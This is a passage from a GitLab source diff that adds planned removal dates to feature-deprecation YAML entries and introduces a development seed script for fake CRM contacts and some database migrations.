announcement_date: "2021-11-15"
removal_milestone: "15.0"
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: |
[We are deprecating the certificate-based integration with Kubernetes](https://about.gitlab.com/blog/2021/11/15/deprecating-the-cert-based-kubernetes-integration/).
The timeline of removal of the integration from the product is not yet planned and we will communicate
@@ -16,4 +17,3 @@
tiers: [Free, Silver, Gold, Core, Premium, Ultimate]
issue_url: 'https://gitlab.com/groups/gitlab-org/configure/-/epics/8'
documentation_url: 'https://docs.gitlab.com/ee/user/infrastructure/clusters/#certificate-based-kubernetes-integration-deprecated'
- removal_date: # (optional - may be required in the future) YYYY-MM-DD format. This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed
diff --git a/data/deprecations/14-5-deprecate-convert-instance-runner-to-project.yml b/data/deprecations/14-5-deprecate-convert-instance-runner-to-project.yml
index c5f9e244af0..29b8fe0e70c 100644
--- a/data/deprecations/14-5-deprecate-convert-instance-runner-to-project.yml
+++ b/data/deprecations/14-5-deprecate-convert-instance-runner-to-project.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-11-22"
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
In GitLab 15.0, we will remove the feature that enables you to convert an instance (shared) runner to a project (specific) runner. Users who need to add a runner to only a particular project can register a runner to the project directly.
diff --git a/data/deprecations/14-5-deprecate-opensuse-15-2.yml b/data/deprecations/14-5-deprecate-opensuse-15-2.yml
index b887f92e6a3..7b776293dbb 100644
--- a/data/deprecations/14-5-deprecate-opensuse-15-2.yml
+++ b/data/deprecations/14-5-deprecate-opensuse-15-2.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "14.8" # The milestone when this feature is planned to be removed
+ removal_date: "2022-02-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
Distribution support and security updates for openSUSE Leap 15.2 are [ending December 2021](https://en.opensuse.org/Lifetime#openSUSE_Leap).
diff --git a/data/deprecations/14-5-deprecation-vsa-announce-deprecation-of-vsa-filtering-calculation.yml b/data/deprecations/14-5-deprecation-vsa-announce-deprecation-of-vsa-filtering-calculation.yml
index 2961fab7487..5706e826a9d 100644
--- a/data/deprecations/14-5-deprecation-vsa-announce-deprecation-of-vsa-filtering-calculation.yml
+++ b/data/deprecations/14-5-deprecation-vsa-announce-deprecation-of-vsa-filtering-calculation.yml
@@ -2,8 +2,9 @@
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
- We are changing how the date filter works in Value Stream Analytics. Instead of filtering by the time that the issue or merge request was created, the date filter will filter by the end event time of the given stage. This will result in completely different figures after this change has rolled out.
+ We are changing how the date filter works in Value Stream Analytics. Instead of filtering by the time that the issue or merge request was created, the date filter will filter by the end event time of the given stage. This will result in completely different figures after this change has rolled out.
If you monitor Value Stream Analytics metrics and rely on the date filter, to avoid losing data, you must save the data prior to this change.
stage: manage # (optional - may be required in the future) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/14-5-runner-api-status-does-contain-paused.yml b/data/deprecations/14-5-runner-api-status-does-contain-paused.yml
index 8c7cde8a121..5cf7b107354 100644
--- a/data/deprecations/14-5-runner-api-status-does-contain-paused.yml
+++ b/data/deprecations/14-5-runner-api-status-does-contain-paused.yml
@@ -1,15 +1,15 @@
- name: "REST API Runner will not contain `paused`"
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
- Runner REST API will not return `paused` as a status in GitLab 15.0.
+ The GitLab Runner REST and GraphQL API endpoints will not return `paused` or `active` as a status in GitLab 15.0.
- Paused runners' status will only relate to runner contact status, such as:
- `online`, `offline`, or `not_connected`. Status `paused` will not appear when the runner is
- not active.
+ A runner's status will only relate to runner contact status, such as:
+ `online`, `offline`, or `not_connected`. Status `paused` or `active` will no longer appear.
When checking if a runner is `paused`, API users are advised to check the boolean attribute
- `active` to be `false` instead.
+ `active` to be `false` instead. When checking if a runner is `active`, check if `active` is `true`.
stage: Verify
tiers: [Core, Premium, Ultimate]
issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/344648
diff --git a/data/deprecations/14-6-deprecate-types.yml b/data/deprecations/14-6-deprecate-types.yml
new file mode 100644
index 00000000000..5cbc07efa89
--- /dev/null
+++ b/data/deprecations/14-6-deprecate-types.yml
@@ -0,0 +1,14 @@
+- name: "Remove `type` and `types` keyword in CI/CD configuration" # The name of the feature to be deprecated
+ announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
+ announcement_date: "2021-12-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
+ body: | # Do not modify this line, instead modify the lines below.
+ The `type` and `types` CI/CD keywords will be removed in GitLab 15.0. Pipelines that use these keywords will stop working, so you must switch to `stage` and `stages`, which have the same behavior.
+# The following items are not published on the docs page, but may be used in the future.
+ stage: # (optional - may be required in the future) String value of the stage that the feature was created in. e.g., Growth
+ tiers: # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
+ issue_url: # (optional) This is a link to the deprecation issue in GitLab
+ documentation_url: # (optional) This is a link to the current documentation page
+ image_url: # (optional) This is a link to a thumbnail image depicting the feature
+ video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
diff --git a/data/deprecations/14-6-deprecation-license-compliance-api-terms.yml b/data/deprecations/14-6-deprecation-license-compliance-api-terms.yml
new file mode 100644
index 00000000000..d75b668f111
--- /dev/null
+++ b/data/deprecations/14-6-deprecation-license-compliance-api-terms.yml
@@ -0,0 +1,16 @@
+- name: "Deprecate legacy approval status names from License Compliance API" # The name of the feature to be deprecated
+ announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
+ announcement_date: "2021-12-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ body: | # Do not modify this line, instead modify the lines below.
+ We deprecated legacy names for approval status of license policy (blacklisted, approved) in the `managed_licenses` API but they are still used in our API queries and responses. They will be removed in 15.0.
+
+ If you are using our License Compliance API you should stop using the `approved` and `blacklisted` query parameters, they are now `allowed` and `denied`. In 15.0 the responses will also stop using `approved` and `blacklisted` so you need to adjust any of your custom tools to use the old and new values so they do not break with the 15.0 release.
+# The following items are not published on the docs page, but may be used in the future.
+ stage: secure # (optional - may be required in the future) String value of the stage that the feature was created in. e.g., Growth
+ tiers: ultimate # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335707 # (optional) This is a link to the deprecation issue in GitLab
+ documentation_url: # (optional) This is a link to the current documentation page
+ image_url: # (optional) This is a link to a thumbnail image depicting the feature
+ video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
+ removal_date: 2022-05-22 # (optional - may be required in the future) YYYY-MM-DD format. This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed
diff --git a/data/deprecations/14-6-deprecation-secure-dependency-scanning-bundler-audit.yml b/data/deprecations/14-6-deprecation-secure-dependency-scanning-bundler-audit.yml
new file mode 100644
index 00000000000..23e59da21e4
--- /dev/null
+++ b/data/deprecations/14-6-deprecation-secure-dependency-scanning-bundler-audit.yml
@@ -0,0 +1,16 @@
+- name: "Deprecation of bundler-audit Dependency Scanning tool" # The name of the feature to be deprecated
+ announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
+ announcement_date: "2021-12-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ body: | # Do not modify this line, instead modify the lines below.
+ As of 14.6 bundler-audit is being deprecated from Dependency Scanning. It will continue to be in our CI/CD template while deprecated. We are removing bundler-audit from Dependency Scanning on May 22, 2022 in 15.0. After this removal Ruby scanning functionality will not be affected as it is still being covered by Gemnasium.
+
+ If you have explicitly excluded bundler-audit using DS_EXCLUDED_ANALYZERS you will need to clean up (remove the reference) in 15.0. If you have customized your pipeline's Dependency Scanning configuration, for example to edit the `bundler-audit-dependency_scanning` job, you will want to switch to gemnasium-dependency_scanning before removal in 15.0, to prevent your pipeline from failing. If you have not used the DS_EXCLUDED_ANALYZERS to reference bundler-audit, or customized your template specifically for bundler-audit, you will not need to take action.
+# The following items are not published on the docs page, but may be used in the future.
+ stage: secure # (optional - may be required in the future) String value of the stage that the feature was created in. e.g., Growth
+ tiers: ultimate # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/289832 # (optional) This is a link to the deprecation issue in GitLab
+ documentation_url: https://docs.gitlab.com/ee/user/application_security/dependency_scanning/analyzers.html # (optional) This is a link to the current documentation page
+ image_url: # (optional) This is a link to a thumbnail image depicting the feature
+ video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
+ removal_date: 2022-05-22 # (optional - may be required in the future) YYYY-MM-DD format. This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed
diff --git a/data/deprecations/14-6-pipeline-fields-package-deprecation.yml b/data/deprecations/14-6-pipeline-fields-package-deprecation.yml
new file mode 100644
index 00000000000..b06bb4d16dc
--- /dev/null
+++ b/data/deprecations/14-6-pipeline-fields-package-deprecation.yml
@@ -0,0 +1,12 @@
+- name: "Deprecate `pipelines` fields in the Package GraphQL types"
+ announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
+ announcement_date: "2021-12-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
+ body: | # Do not modify this line, instead modify the lines below.
+ As part of the work to create a [Package Registry GraphQL API](https://gitlab.com/groups/gitlab-org/-/epics/6318), the Package group deprecated the `pipelines` fields in all Package-related GraphQL types. As of GitLab 14.6, the `pipelines` field is deprecated in [`Package`](https://docs.gitlab.com/ee/api/graphql/reference/index.html#package) and [`PackageDetailsType`](https://docs.gitlab.com/ee/api/graphql/reference/index.html#packagedetailstype) due to scalability and performance concerns.
+
+ In milestone 15.0, we will completely remove `pipelines` from `Package` and `PackageDetailsType`. You can follow and contribute to work on a replacement in the epic [GitLab-#7214](https://gitlab.com/groups/gitlab-org/-/epics/7214).
+ stage: package
+ tiers: Free
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/347219
diff --git a/data/deprecations/14-6-remove-api-fuzzing-ci-configuration-create-mutation.yml b/data/deprecations/14-6-remove-api-fuzzing-ci-configuration-create-mutation.yml
new file mode 100644
index 00000000000..f2b22b047af
--- /dev/null
+++ b/data/deprecations/14-6-remove-api-fuzzing-ci-configuration-create-mutation.yml
@@ -0,0 +1,13 @@
+- name: "apiFuzzingCiConfigurationCreate GraphQL mutation"
+ announcement_milestone: "14.6"
+ announcement_date: "2021-12-22"
+ removal_milestone: "15.0"
+ body: |
+ The API Fuzzing configuration snippet is now being generated client-side and does not require an
+ API request anymore. We are therefore deprecating the `apiFuzzingCiConfigurationCreate` mutation
+ which isn't being used in GitLab anymore.
+ stage: Secure
+ tiers: Ultimate
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/333233
+ documentation_url: https://docs.gitlab.com/ee/user/application_security/api_fuzzing/#web-api-fuzzing-configuration-form
+ removal_date: "2022-05-22"
diff --git a/data/deprecations/14-6-runner-api-status-renames-not_connected.yml b/data/deprecations/14-6-runner-api-status-renames-not_connected.yml
new file mode 100644
index 00000000000..5f7db1ac0e5
--- /dev/null
+++ b/data/deprecations/14-6-runner-api-status-renames-not_connected.yml
@@ -0,0 +1,14 @@
+- name: "Deprecation of Runner status `not_connected` API value"
+ announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
+ removal_milestone: "15.0" # the milestone when this feature is planned to be removed
+ removal_date: "2022-05-22"
+ body: | # Do not modify this line, instead modify the lines below.
+ The GitLab Runner REST and GraphQL [API](https://docs.gitlab.com/ee/api/runners.html#runners-api) endpoints
+ will return `never_contacted` instead of `not_connected` as the status values in 15.0.
+
+ Runners that have never contacted the GitLab instance will also return `stale` if created more than 3 months ago.
+ stage: Verify
+ tiers: [Core, Premium, Ultimate]
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/347305
+ documentation_url: https://docs.gitlab.com/ee/api/runners.html
+ announcement_date: "2021-12-22"
diff --git a/data/deprecations/15-0-deprecate-sles-12sp2.yml b/data/deprecations/15-0-deprecate-sles-12sp2.yml
index fd5057bb8d3..a466d8b4100 100644
--- a/data/deprecations/15-0-deprecate-sles-12sp2.yml
+++ b/data/deprecations/15-0-deprecate-sles-12sp2.yml
@@ -2,5 +2,6 @@
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-11-22"
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
Long term service and support (LTSS) for SUSE Linux Enterprise Server (SLES) 12 SP2 [ended on March 31, 2021](https://www.suse.com/lifecycle/). The CA certificates on SP2 include the expired DST root certificate, and it's not getting new CA certificate package updates. We have implemented some [workarounds](https://gitlab.com/gitlab-org/gitlab-omnibus-builder/-/merge_requests/191), but we will not be able to continue to keep the build running properly.
diff --git a/data/deprecations/15-0-deprecation-versions-packagetype.yml b/data/deprecations/15-0-deprecation-versions-packagetype.yml
index 4e1501b48ba..e409e9be072 100644
--- a/data/deprecations/15-0-deprecation-versions-packagetype.yml
+++ b/data/deprecations/15-0-deprecation-versions-packagetype.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
As part of the work to create a [Package Registry GraphQL API](https://gitlab.com/groups/gitlab-org/-/epics/6318), the Package group deprecated the `Version` type for the basic `PackageType` type and moved it to [`PackageDetailsType`](https://docs.gitlab.com/ee/api/graphql/reference/index.html#packagedetailstype).
diff --git a/data/deprecations/15-0-remove-dependency-proxy-permissions-flag.yml b/data/deprecations/15-0-remove-dependency-proxy-permissions-flag.yml
index 292dc4a14c0..b7e317d148e 100644
--- a/data/deprecations/15-0-remove-dependency-proxy-permissions-flag.yml
+++ b/data/deprecations/15-0-remove-dependency-proxy-permissions-flag.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
We added a feature flag because [GitLab-#11582](https://gitlab.com/gitlab-org/gitlab/-/issues/11582) changed how public groups use the Dependency Proxy. Prior to this change, you could use the Dependency Proxy without authentication. The change requires authentication to use the Dependency Proxy.
diff --git a/data/deprecations/15-0-remove-package-pipelines-api.yml b/data/deprecations/15-0-remove-package-pipelines-api.yml
index ba69ed75e0f..d26e291bb97 100644
--- a/data/deprecations/15-0-remove-package-pipelines-api.yml
+++ b/data/deprecations/15-0-remove-package-pipelines-api.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
A request to the API for `/api/v4/projects/:id/packages` returns a paginated result of packages. Each package lists all of its pipelines in this response. This is a performance concern, as it's possible for a package to have hundreds or thousands of associated pipelines.
diff --git a/data/deprecations/15-0-remove-pipelines-from-version-field.yml b/data/deprecations/15-0-remove-pipelines-from-version-field.yml
index 6f4f8db55cd..88eafedf36b 100644
--- a/data/deprecations/15-0-remove-pipelines-from-version-field.yml
+++ b/data/deprecations/15-0-remove-pipelines-from-version-field.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
In GraphQL, there are two `pipelines` fields that you can use in a [`PackageDetailsType`](https://docs.gitlab.com/ee/api/graphql/reference/#packagedetailstype) to get the pipelines for package versions:
diff --git a/data/deprecations/deprecate-defaultMergeCommitMessageWithDescription-graphql.yml b/data/deprecations/deprecate-defaultMergeCommitMessageWithDescription-graphql.yml
index eba37d1eb8f..5da61172410 100644
--- a/data/deprecations/deprecate-defaultMergeCommitMessageWithDescription-graphql.yml
+++ b/data/deprecations/deprecate-defaultMergeCommitMessageWithDescription-graphql.yml
@@ -1,7 +1,8 @@
-- name: "defaultMergeCommitMessageWithDescription GraphQL API field will be removed in GitLab 15.0" # The name of the feature to be deprecated
+- name: "Removal of `defaultMergeCommitMessageWithDescription` GraphQL API field" # The name of the feature to be deprecated
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-11-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ removal_date: "2022-05-22" # the date of the milestone release when this feature is planned to be removed
body: | # Do not modify this line, instead modify the lines below.
The GraphQL API field `defaultMergeCommitMessageWithDescription` has been deprecated and will be removed in GitLab 15.0. For projects with a commit message template set, it will ignore the template.
# The following items are not published on the docs page, but may be used in the future.
@@ -11,4 +12,3 @@
documentation_url: # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
- removal_date: # (optional - may be required in the future) YYYY-MM-DD format. This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed
diff --git a/data/deprecations/deprecation_omniauth-kerberos_gem.yml b/data/deprecations/deprecation_omniauth-kerberos_gem.yml
index 8adbeb19416..903d64db717 100644
--- a/data/deprecations/deprecation_omniauth-kerberos_gem.yml
+++ b/data/deprecations/deprecation_omniauth-kerberos_gem.yml
@@ -1,6 +1,7 @@
- name: "OmniAuth Kerberos gem"
announcement_milestone: "14.3"
removal_milestone: "15.0"
+ removal_date: "2022-05-22"
body: | # Do not modify this line, instead modify the lines below.
The `omniauth-kerberos` gem will be removed in our next major release, GitLab 15.0.
diff --git a/data/deprecations/disable_strict_host_key_checking.yml b/data/deprecations/disable_strict_host_key_checking.yml
index 62011795bb9..e7e5eb1fa9f 100644
--- a/data/deprecations/disable_strict_host_key_checking.yml
+++ b/data/deprecations/disable_strict_host_key_checking.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.5" # The milestone when this feature was first announced as deprecated.
announcement_date: "2021-11-22"
removal_milestone: "15.0" # the milestone when this feature is planned to be removed
+ removal_date: "2022-05-22"
body: | # Do not modify this line, instead modify the lines below.
In [GitLab 14.3](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/3074), we added a configuration setting in the GitLab Runner `config.toml` file. This setting, [`[runners.ssh.disable_strict_host_key_checking]`](https://docs.gitlab.com/runner/executors/ssh.html#security), controls whether or not to use strict host key checking with the SSH executor.
diff --git a/data/deprecations/job_char_limit.yml b/data/deprecations/job_char_limit.yml
new file mode 100644
index 00000000000..706e3a078eb
--- /dev/null
+++ b/data/deprecations/job_char_limit.yml
@@ -0,0 +1,26 @@
+# This is a template for a feature deprecation
+# A deprecation typically occurs when a feature or capability is planned to be removed in a future release.
+# Deprecations should be announced at least two releases prior to removal. Any breaking changes should only be done in major releases.
+#
+# Below is an example of what a single entry should look like, it's required attributes,
+# and what types we expect those attribute values to be.
+#
+# For more information please refer to the handbook documentation here:
+# https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations
+#
+# Please delete this line and above before submitting your merge request.
+
+- name: "CI/CD job name length limit" # The name of the feature to be deprecated
+ announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
+ announcement_date: "2021-12-22" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
+ removal_milestone: "15.0" # The milestone when this feature is planned to be removed
+ body: | # Do not modify this line, instead modify the lines below.
+ In GitLab 15.0 we are going to limit the number of characters in CI/CD job names to 255. Any pipeline with job names that exceed the 255 character limit will stop working after the 15.0 release.
+# The following items are not published on the docs page, but may be used in the future.
+ stage: # (optional - may be required in the future) String value of the stage that the feature was created in. e.g., Growth
+ tiers: # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/342800 # (optional) This is a link to the deprecation issue in GitLab
+ documentation_url: # (optional) This is a link to the current documentation page
+ image_url: # (optional) This is a link to a thumbnail image depicting the feature
+ video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
+ removal_date: "2022-05-22"
diff --git a/data/deprecations/runner_api_new_stale_status_breaking_change.yml b/data/deprecations/runner_api_new_stale_status_breaking_change.yml
new file mode 100644
index 00000000000..bb3098ff517
--- /dev/null
+++ b/data/deprecations/runner_api_new_stale_status_breaking_change.yml
@@ -0,0 +1,13 @@
+- name: "API: `stale` status returned instead of `offline` or `not_connected`"
+ announcement_milestone: "14.6" # The milestone when this feature was first announced as deprecated.
+ announcement_date: "2021-12-22"
+ removal_milestone: "15.0" # the milestone when this feature is planned to be removed
+ removal_date: "2022-05-22"
+ body: | # Do not modify this line, instead modify the lines below.
+ A breaking change will occur for the Runner [API](https://docs.gitlab.com/ee/api/runners.html#runners-api) endpoints in 15.0.
+
+ Instead of the GitLab Runner API endpoints returning `offline` and `not_connected` for runners that have not contacted the GitLab instance in the past three months, the API endpoints will return the `stale` value, which was introduced in 14.6.
+ stage: Verify
+ tiers: [Core, Premium, Ultimate]
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/347303
+ documentation_url: https://docs.gitlab.com/ee/api/runners.html#runners-api
diff --git a/data/deprecations/serverless.yml b/data/deprecations/serverless.yml
index 1b99ece154f..3d280ff2f62 100644
--- a/data/deprecations/serverless.yml
+++ b/data/deprecations/serverless.yml
@@ -2,6 +2,7 @@
announcement_milestone: "14.3"
announcement_date: "2021-09-22"
removal_milestone: "15.0"
+ removal_date: "2022-05-22"
body: |
[GitLab Serverless](https://docs.gitlab.com/ee/user/project/clusters/serverless/) is a feature set to support Knative-based serverless development with automatic deployments and monitoring.
diff --git a/data/deprecations/templates/_deprecation_template.md.erb b/data/deprecations/templates/_deprecation_template.md.erb
index 80b860b367f..b0068c32ad9 100644
--- a/data/deprecations/templates/_deprecation_template.md.erb
+++ b/data/deprecations/templates/_deprecation_template.md.erb
@@ -44,6 +44,7 @@ For deprecation reviewers (Technical Writers only):
<%= deprecation["body"] -%>
Announced: <%= deprecation["announcement_date"]%>
+Planned removal: <%= deprecation["removal_date"]%>
<%- end -%>
<%- end -%>
<%- else -%>
diff --git a/data/deprecations/templates/example.yml b/data/deprecations/templates/example.yml
index 0aaa68e4bd8..07e65af8277 100644
--- a/data/deprecations/templates/example.yml
+++ b/data/deprecations/templates/example.yml
@@ -14,6 +14,7 @@
announcement_milestone: "XX.YY" # The milestone when this feature was first announced as deprecated.
announcement_date: "YYYY-MM-DD" # The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "XX.YY" # The milestone when this feature is planned to be removed
+ removal_date: "YYYY-MM-DD" # This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed.
body: | # Do not modify this line, instead modify the lines below.
<!-- START OF BODY COMMENT
@@ -29,4 +30,3 @@
documentation_url: # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
video_url: # (optional) Use the youtube thumbnail URL with the structure of https://img.youtube.com/vi/UNIQUEID/hqdefault.jpg
- removal_date: # (optional - may be required in the future) YYYY-MM-DD format. This should almost always be the 22nd of a month (YYYY-MM-22), the date of the milestone release when this feature is planned to be removed
diff --git a/db/fixtures/development/02_users.rb b/db/fixtures/development/02_users.rb
index 7916cdd5fb1..76a00c18649 100644
--- a/db/fixtures/development/02_users.rb
+++ b/db/fixtures/development/02_users.rb
@@ -41,11 +41,12 @@ class Gitlab::Seeder::Users
relation = User.where(admin: false)
Gitlab::Seeder.with_mass_insert(relation.count, Namespace) do
ActiveRecord::Base.connection.execute <<~SQL
- INSERT INTO namespaces (name, path, owner_id)
+ INSERT INTO namespaces (name, path, owner_id, type)
SELECT
username,
username,
- id
+ id,
+ 'User'
FROM users WHERE NOT admin
SQL
end
diff --git a/db/fixtures/development/32_crm.rb b/db/fixtures/development/32_crm.rb
new file mode 100644
index 00000000000..bad2fc56ed3
--- /dev/null
+++ b/db/fixtures/development/32_crm.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+class Gitlab::Seeder::Crm
+ attr_reader :group, :organizations_per_group, :contacts_per_group
+
+ def initialize(group, organizations_per_group: 10, contacts_per_group: 40)
+ @group = group
+ @organizations_per_group = organizations_per_group
+ @contacts_per_group = contacts_per_group
+ end
+
+ def seed!
+ organization_ids = []
+
+ organizations_per_group.times do |index|
+ organization_ids << ::CustomerRelations::Organization.create!(
+ group_id: group.id,
+ name: "#{FFaker::Company.name}-#{index}"
+ ).id
+
+ print '.'
+ end
+
+ contacts_per_group.times do |index|
+ first_name = FFaker::Name.first_name
+ last_name = FFaker::Name.last_name
+ organization_id = index % 3 == 0 ? organization_ids.sample : nil
+ ::CustomerRelations::Contact.create!(
+ group_id: group.id,
+ first_name: first_name,
+ last_name: last_name,
+ email: "#{first_name}.#{last_name}@example.org",
+ organization_id: organization_id
+ )
+
+ print '.'
+ end
+ end
+end
+
+Gitlab::Seeder.quiet do
+ puts "\nGenerating group crm organizations and contacts"
+
+ Group.all.find_each do |group|
+ Gitlab::Seeder::Crm.new(group).seed!
+ end
+end
diff --git a/db/migrate/20211008043855_remove_notes_trigram_index.rb b/db/migrate/20211008043855_remove_notes_trigram_index.rb
new file mode 100644
index 00000000000..a20ef1852e2
--- /dev/null
+++ b/db/migrate/20211008043855_remove_notes_trigram_index.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class RemoveNotesTrigramIndex < Gitlab::Database::Migration[1.0]
+ disable_ddl_transaction!
+
+ NOTES_TRIGRAM_INDEX_NAME = 'index_notes_on_note_trigram'
+
+ def up
+ remove_concurrent_index_by_name(:notes, NOTES_TRIGRAM_INDEX_NAME)
+ end
+
+ def down
+ add_concurrent_index :notes, :note, name: NOTES_TRIGRAM_INDEX_NAME, using: :gin, opclass: { content: :gin_trgm_ops }
+ end
+end
diff --git a/db/migrate/20211011140930_create_ci_namespace_mirrors.rb b/db/migrate/20211011140930_create_ci_namespace_mirrors.rb
new file mode 100644
index 00000000000..b9a708c5d7b
--- /dev/null
+++ b/db/migrate/20211011140930_create_ci_namespace_mirrors.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class CreateCiNamespaceMirrors < Gitlab::Database::Migration[1.0]
+ TABLE_NAME = :ci_namespace_mirrors
+ INDEX_NAME = "index_gin_#{TABLE_NAME}_on_traversal_ids"
+
+ def change
+ create_table TABLE_NAME do |t|
+ t.integer :namespace_id, null: false, index: { unique: true }
+ t.integer :traversal_ids, array: true, default: [], null: false
+
